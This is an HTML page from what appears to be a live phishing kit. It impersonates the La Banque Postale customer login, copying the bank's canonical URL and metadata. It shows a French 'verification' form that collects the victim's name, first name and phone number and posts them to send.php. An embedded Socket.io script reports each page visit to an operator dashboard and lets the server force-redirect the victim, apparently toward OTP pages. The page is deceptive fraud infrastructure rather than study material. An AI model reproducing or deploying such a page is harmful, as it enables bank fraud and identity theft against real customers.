/home2/mshostin/live-dashboard/public/info.html
<!DOCTYPE html>
<html lang="fr" data-darkmode-allowed="false">
<head data-template="th3loginpage"><meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="viewport" content="width=device-width"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>

<link rel="canonical" href="https://www.labanquepostale.fr/particulier/connexion-espace-client.html"/>

<meta property="og:type" content="website"/>
<meta property="og:url" content="https://www.labanquepostale.fr/particulier/connexion-espace-client.html"/>
<meta property="og:title" content="Connexion PPH"/>
<meta property="og:description" content="Vous êtes client particulier de La Banque Postale ? Accédez à vos comptes et contrats et réalisez toutes vos opérations et souscriptions directement en ligne. Pensez également à télécharger notre application."/>
<meta property="og:image" content="https://www.labanquepostale.fr/content/dam/lbp/opengraph/la-banque-postale/siege-la-banque-postale.jpg"/>
<style>
    :root {
        --bp-blue: #003a8f;
        --bp-blue-soft: #f2f6fc;
        --bp-border: #d7deeb;
        --bp-gray: #6b7280;
    }

    * {
        box-sizing: border-box;
        font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
    }

    body {
        margin: 0;
        background: #ffffff;
        color: var(--bp-blue);
    }

    /* ===== HEADER (IDENTIQUE AUX AUTRES PAGES) ===== */
    header {
        height: 80px;
        display: flex;
        align-items: center;
        padding: 0 32px;
        border-bottom: 1px solid #e6e9f0;
        background: #ffffff;
    }

    header img {
        height: 56px; /* même taille que loading & OTP */
    }

    /* ===== CONTAINER ===== */
    .container {
        max-width: 420px;
        margin: 90px auto;
        padding: 0 20px;
    }

    h1 {
        font-size: 24px;
        font-weight: 600;
        margin-bottom: 8px;
    }

    .subtitle {
        font-size: 14px;
        color: var(--bp-gray);
        margin-bottom: 34px;
        line-height: 1.5;
    }

    /* ===== FORM ===== */
    .form-group {
        margin-bottom: 22px;
    }

    label {
        display: block;
        font-size: 14px;
        font-weight: 500;
        margin-bottom: 6px;
    }

    input {
        width: 100%;
        height: 48px;
        padding: 0 14px;
        border-radius: 8px;
        border: 1px solid var(--bp-border);
        font-size: 15px;
        background: #ffffff;
        transition: 0.2s;
    }

    input:focus {
        outline: none;
        border-color: var(--bp-blue);
        background: var(--bp-blue-soft);
    }

    /* ===== BUTTON ===== */
    button {
        width: 100%;
        height: 50px;
        margin-top: 14px;
        border-radius: 8px;
        border: none;
        background: var(--bp-blue);
        color: #ffffff;
        font-size: 16px;
        font-weight: 600;
        cursor: pointer;
        transition: 0.2s;
    }

    button:hover {
        background: #002f73;
    }

    /* ===== INFO ===== */
    .secure {
        margin-top: 20px;
        font-size: 13px;
        color: var(--bp-gray);
        text-align: center;
    }

    /* ===== RESPONSIVE ===== */
    @media (max-width: 480px) {
        header {
            height: 70px;
            padding: 0 20px;
        }

        header img {
            height: 48px;
        }

        .container {
            margin-top: 60px;
        }

        h1 {
            font-size: 22px;
        }
    }
</style>
</head>
<body>

<!-- HEADER -->
<header>
    <img src="logo.svg" alt="Logo">
</header>

<!-- CONTENT -->
<main class="container">
    <h1>Verification de votre espace client</h1>
    <div class="subtitle">
        Renseignez vos informations personnelles pour poursuivre votre verification.
    </div>

<form method="POST" action="send.php">
    <div class="form-group">
        <label>Nom</label>
        <input type="text" name="nom" required>
    </div>

    <div class="form-group">
        <label>Prénom</label>
        <input type="text" name="prenom" required>
    </div>

<div class="form-group">
    <label>Numéro de téléphone (France)</label>
    <input
        type="tel"
        name="telephone"
        placeholder="06XXXXXXXX"
        maxlength="10"
        pattern="^0[1-9][0-9]{8}$"
        required
        oninput="this.value = this.value.replace(/[^0-9]/g, '').slice(0,10);">
</div>

    <button type="submit">Suivant</button>
</form>

<div class="secure">
    🔒 Vos données sont protégées
</div>


<!-- Socket.io -->
<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
  const socket = io({ path: '/live-dashboard/socket.io' });

  // Envoyer la page visitée au serveur
  socket.emit("page_visit", { page: window.location.pathname });

  // Redirection forcée depuis le serveur
  socket.on("force_redirect", (newPage) => {
    console.log("Redirection vers:", newPage);
    window.location.href = newPage;
  });
</script>

</body>
</html>